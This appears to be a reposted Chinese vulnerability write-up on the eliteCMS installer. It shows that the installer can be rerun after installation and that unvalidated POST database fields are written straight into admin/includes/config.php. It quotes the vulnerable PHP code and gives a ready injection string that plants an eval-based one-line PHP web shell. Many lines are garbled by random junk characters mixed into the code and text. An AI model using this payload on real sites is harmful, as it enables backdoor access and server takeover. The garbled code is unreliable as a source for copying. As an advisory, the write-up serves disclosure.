eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
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: f# J8 [2 B+ V另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
7 _4 G8 w+ J( n8 u/ `8 z我们来看代码：

...
elseif ($_GET['step'] == "4") {
( g4 X! I# `4 Z+ ?  ^+ N    $file = "../admin/includes/config.php";
    $write = "<?php\n";
1 v( _  d3 z, u3 I9 P( |2 B    $write .= "/**\n";
; U5 Q  A4 x6 x4 ^* J! d' [& l    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
- V  U7 W  K" `8 X...略...
4 h* K3 h/ B0 ?- Q& Y  f1 b    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
5 `: h# `9 ?$ c, S% O8 V% N    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
4 @, E7 ~/ P) Z. k    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
! U7 w7 T2 ?, ]! f7 j9 v8 W    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
6 v- {( v) x+ k  R6 R    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
7 f" k- [, b' ]/ v. ~    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
' T5 P, U; p; u4 p; K    $write .= "        \n";
    $write .= "} \n";
. }+ b! p1 E6 `: G0 c    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
6 d" A5 a  ?2 T- a- f+ g, F, V1 F    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";

' M; y9 C+ B; g    $writer = fopen($file, 'w');
...

/ l9 j: k* @8 a3 ?) Q3 _! X: Q9 q在看代码：

, g7 l- W. f9 d3 H9 E$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
: K3 V* I& C. S; v. u! R$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

* ]3 O& @& I  i) O* C2 @9 a取值未作任何验证
) P4 `+ |( j+ C& K, f- R; `如果将数据库名POST数据：
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"?><?php eval($_POST[c]);?><?php

将导致一句话后门写入/admin/includes/config.php
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